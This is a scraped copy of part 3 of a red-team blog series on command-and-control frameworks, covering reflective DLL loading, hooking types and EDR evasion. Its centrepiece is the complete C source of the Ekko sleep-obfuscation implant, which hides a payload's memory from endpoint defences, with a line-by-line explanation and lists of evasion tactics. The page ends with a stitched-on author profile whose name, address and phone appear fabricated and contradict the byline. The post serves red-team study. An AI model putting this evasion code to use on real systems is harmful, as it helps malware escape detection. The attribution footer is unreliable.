[ PART 3 ] How C2 Works In-Depth (2024)

[ PART 3 ] How C2 Works In-Depth (1)

By Hossam Ehab

Last updated Jun 01, 2024 - 13 Minutes Read

[ PART 3 ] How C2 Works In-Depth (2)

Red Teaming
Cyber Security
Vulnerability Research

Today's Table of Content [ Part 3 ]

  • Third Part:

    • Entire extebsions of the Meterpreter & Code Analysis
    • RDI in modern C2
    • Evading EDRs with modern evasive techniques
    • How is the ReflectiveLoader Function Called in a DLL
    • Hooking techniques used by security tools ( AVs, RDRs, etc. )

Let's delve into the inner workings of Metasploit, particularly when it comes to essential operations like uploading and downloading files. To truly grasp these processes we need to start at the core of Metasploit and examine how the stdapi DLL operates and this journey will also shed light on the role of the reflective loader in dynamically loading the stdapi DLL into memory.

[ PART 3 ] How C2 Works In-Depth (3)

As you observe this complex system includes bringing in the reflectiveloader, a crucial part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better grasp how it works!

RDI in modern C2

In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.

This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection ( RDI ), the entire memory region for DLL(s) is set to be RWX ( read, write, execute ). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.

[ PART 3 ] How C2 Works In-Depth (4)

Introduction to Sleep Mask Obfuscation :-

Consider the scenario that the adversary wants to execute a payload without got detection
The importance of Sleep Mask Obfuscation lies in its ability to intermittently modify the execution state and memory characteristics of the payload. This is achieved through a combination of Return-Oriented Programming ( ROP ) chains and cryptographic operations which serve to intermittently encrypt and decrypt the payload in memory coupled with changing the memory's protection flags to prevent static analysis tools from easily dissecting the malicious code.

  • Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :

    /* Title : StealthCode Execution - Ekko's Method for Concealing Active Processes Credits : Peter Winter-Smith (MDSec) / @C5pider / Austin Hudson (@SecIdiot)*/ #include <windows.h> #include <stdio.h> #define _CRT_RAND_S #include <stdlib.h> #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) #define NtCurrentThread() ( ( HANDLE ) ( LONG_PTR ) -2 ) #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 ) typedef struct { DWORDLength; DWORDMaximumLength; PVOIDBuffer; } USTRING ; VOID EkkoObf( DWORD SleepTime ) { CONTEXT CtxThread = { 0 }; CONTEXT RopProtRW = { 0 }; CONTEXT RopMemEnc = { 0 }; CONTEXT RopDelay = { 0 }; CONTEXT RopMemDec = { 0 }; CONTEXT RopProtRX = { 0 }; CONTEXT RopSetEvt = { 0 }; HANDLE hTimerQueue = NULL; HANDLE hNewTimer = NULL; HANDLE hEvent = NULL; PVOID ImageBase = NULL; DWORD ImageSize = 0; DWORD OldProtect = 0; // Randomly Generated CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; } USTRING Key = { 0 }; USTRING Img = { 0 }; PVOID NtContinue = NULL; PVOID SysFunc032 = NULL; hEvent = CreateEventW( 0, 0, 0, 0 ); hTimerQueue = CreateTimerQueue(); NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" ); SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" ); ImageBase = GetModuleHandleA( NULL ); ImageSize = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage; Key.Buffer = KeyBuf; Key.Length = Key.MaximumLength = 16; Img.Buffer = ImageBase; Img.Length = Img.MaximumLength = ImageSize; if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) { WaitForSingleObject( hEvent, 0x32 ); memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) ); memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) ); // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = &OldProtect; // "RtlEncryptDecryptRC4" // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = SysFunc032; RopMemEnc.Rcx = &Img; RopMemEnc.Rdx = &Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = WaitForSingleObject; RopDelay.Rcx = NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = SysFunc032; RopMemDec.Rcx = &Img; RopMemDec.Rdx = &Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = VirtualProtect; RopProtRX.Rcx = ImageBase; RopProtRX.Rdx = ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = &OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = SetEvent; RopSetEvt.Rcx = hEvent; puts( "[INFO] Queue timers" ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD ); CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD ); puts( "[INFO] Wait for hEvent" ); WaitForSingleObject( hEvent, INFINITE ); puts( "[INFO] Finished waiting for event" ); } DeleteTimerQueue( hTimerQueue ); } int main(void) { puts( "[*] Ekko Sleep Obfuscation by C5pider" ); printf("Module addr: %p\n", GetModuleHandle(NULL)); do { // Start Sleep Obfuscation EkkoObf( 7 * 1000 ); } while ( TRUE ); return 0; } 

Code Explanation:

  • Encryption and Decryption Mechanism: The crux of Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly generated cryptographic key:

    CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }

This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.

  • Dynamic Memory Protection: To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls to VirtualProtect, altering the memory protection status:

    RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;

Initially, the memory region is set to PAGE_READWRITE to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.

  • Timed Execution and Obfuscation: The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:
    CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); 

By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.

  • Return-Oriented Programming ( ROP ) Chains: Shortly, Return-Oriented Programming ( ROP ) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in aret instruction, allowing an attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.
    RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)

Here, SysFunc032 is indirectly invoked via an ROP gadget, effectively encrypting or decrypting the target memory region without a direct call. This indirect method of execution is less likely to trigger security mechanisms that monitor for malicious API usage.

Traditional Methods Weakness

Old ways of injecting processes, once really strong, are now easy to spot by new EDRs. Modern C2 systems got smarter, using simple API calls like GetProcAddress and GetModuleHandle to stay hidden.

Hooking

Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.

  • User Mode Hooking: Uses basic tricks like messing with the IAT ( Import Address Table ), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.

  • Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT ( Interrupt Descriptor Table ), and tweaking MSR ( Model Specific Registers ). This deep level trickery messes with system calls, giving more control and hiding.

Function Hooking Types (Simple Examples)

IAT HookingUser-mode
  • Changes entries in the Import Address Table (IAT) to redirect API calls to custom functions
  • Makes the process use your code instead of the original API functions
Inline HookingUser-mode
  • Overwrites the beginning of a function with a jump to your custom code
  • Allows you to run your code whenever that function is called
  • The original instructions are usually saved and executed later
Detour/Trampoline HookingUser-mode
  • Similar to inline hooking but ensures the original function code is saved and run after your custom code
  • Uses a jump to redirect the function execution flow to your handler
VTable HookingUser-mode
  • Alters pointers in an object's virtual function table (VTable) so that method calls on the object are redirected to your custom handlers
  • Common in C++ and COM objects
API Hooking LibrariesUser-mode
  • Uses specialized libraries (e.g. Microsoft Detours, EasyHook) to simplify the process of hooking API functions
  • Provides pre-built mechanisms for redirection and interception
SSDT HookingKernel-mode
  • Modifies entries in the System Service Dispatch Table (SSDT) to redirect system calls to custom handlers
  • Allows you to intercept and control low-level OS operations
IDT HookingKernel-mode
  • Changes entries in the Interrupt Descriptor Table (IDT) to redirect interrupts and exceptions to custom handlers
  • Allows you to intercept low-level hardware and software events
Inline Hooking in KernelKernel-mode
  • Similar to user-mode inline hooking but performed on kernel functions
  • Overwrites the start of a kernel function with a jump to your custom handler
  • Can execute before or after the original function code
Driver Object HookingKernel-mode
  • Modifies the MajorFunction array in device driver objects to intercept and monitor I/O requests (IRPs)
  • Allows you to monitor and manipulate interactions between the OS and hardware devices
VMI (Virtual Machine Introspection)Hypervisor
  • Uses a hypervisor to monitor and intercept activities in a guest operating system from outside the virtual machine
  • Allows for stealthy and isolated monitoring without being detected by the guest OS
Blue Pill TechniqueHypervisor
  • Transparently runs the target system as a virtual machine under a hypervisor
  • Allows full monitoring and control of the guest system without its knowledge
PatchGuard BypassKernel-mode
  • Techniques used to bypass Windows PatchGuard, a security feature that protects the integrity of the kernel
  • Allows unauthorized modifications and hooks to be applied to the kernel
User-Mode Rootkit TechniquesUser-mode
  • Combines various hooking methods to hide and persist within a user-mode environment
  • Allows malicious code to remain undetected by standard security measures
Object HookingUser-mode
  • Modifies the internal structures or function pointers of objects to intercept method calls
  • Allows for monitoring and manipulation of object behavior
Global HookingUser-mode
  • Sets global hooks using APIs like SetWindowsHookEx to monitor system-wide events such as keyboard and mouse input
  • Allows for capturing and processing input events across the entire system
Kernel Debugger HookingKernel-mode
  • Utilizes kernel debugging features to intercept and manipulate system operations at the kernel level
  • Often bypasses normal security mechanisms
EPT (Extended Page Table) HookingHypervisor
  • Uses Intel VT-x Extended Page Tables to monitor and intercept memory accesses and page faults in virtual machines
  • Provides fine-grained control over guest memory operations
DKOM (Direct Kernel Object Manipulation)Kernel-mode
  • Directly modifies kernel objects to hide processes, files, or registry keys from the operating system and security tools
  • Provides stealth for rootkits
Heuristic-based HookingUser-mode
  • Dynamically detects and hooks suspicious API calls or behaviors based on heuristic analysis
  • Allows for adaptive and proactive security measures
Syscall ProxyingUser-mode
  • Intercepts system calls at the user-mode boundary and proxies them to custom handlers for analysis and modification
  • Passes the modified calls to the kernel

Hardware Breakpoints

In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.

Threadless Injection & Sleep Mask Obfuscation

  • Threadless Injection: Avoids making new threads to lower chances of being caught by EDRs.
  • Sleep Mask Obfuscation: Tricks with operation timing and length to stay hidden.

More Simple Evasion Techniques

Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.

The most used server side evasive techniques in C&C frameworks

  1. Malleable C2 Profiles : frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection

  2. Encryption and Obfuscation : Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic

  3. Domain Fronting : C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic

  4. Dynamic Domain Generation Algorithms ( DGAs ) : generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively

  5. Redundant C2 Infrastructure : ensuring operational continuity even if some servers are detected and taken down

  6. JA3/S Fingerprint Manipulation : manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection

  7. Custom Protocol Obfuscation : use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems

The most used client side ( Loader ) evasive techniques in C&C frameworks

  1. Process Injection : Inject malicious code into legitimate processes to avoid detection
  2. DLL Side-Loading : Load malicious DLLs into vulnerable legitimate processes
  3. Fileless Execution : Execute code directly in memory without leaving traces on disk
  4. Code Obfuscation : Hide the true purpose of code to make analysis difficult
  5. Delayed Execution : Delay running malicious code to evade initial detection
  6. Anti-Debugging Techniques : Detect and evade debugging attempts
  7. Anti-Sandbox Techniques : Identify and alter behavior to evade sandbox environments
  8. Unhooking User-Land Hooks : Remove hooks injected by security systems in system libraries
  9. Unhooking Import Address Table ( IAT ) : Remove hooks in the Import Address Table
  10. DirectSys Calls : Use direct system calls instead of APIs to bypass hooking
  11. Merge Module Stomping : Combine with unhooking methods to evade detection further
  12. UUID Obfuscation : Obfuscate shellcode to evade signature-based detection
  13. Domain Fronting with Random Traffic Profiles : Use domain fronting with randomized traffic to evade network detection
  14. Patching Process Event Tracing : Prevent logging by security systems
  15. Spoofed Fake Certificates : Use fake certificates to appear legitimate
  16. Code Metamorphism and Noise Insertion : Constantly change code structure and behavior to evade detection

References & Resources:

Disclaimer

- The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.

Thanks for reading!

[ PART 3 ] How C2 Works In-Depth (5)

[ PART 3 ] How C2 Works In-Depth (2024)
Top Articles
Latest Posts
Article information

Author: Clemencia Bogisich Ret

Last Updated:

Views: 5843

Rating: 5 / 5 (60 voted)

Reviews: 83% of readers found this page helpful

Author information

Name: Clemencia Bogisich Ret

Birthday: 2001-07-17

Address: Suite 794 53887 Geri Spring, West Cristentown, KY 54855

Phone: +5934435460663

Job: Central Hospitality Director

Hobby: Yoga, Electronics, Rafting, Lockpicking, Inline skating, Puzzles, scrapbook

Introduction: My name is Clemencia Bogisich Ret, I am a super, outstanding, graceful, friendly, vast, comfortable, agreeable person who loves writing and wants to share my knowledge and understanding with you.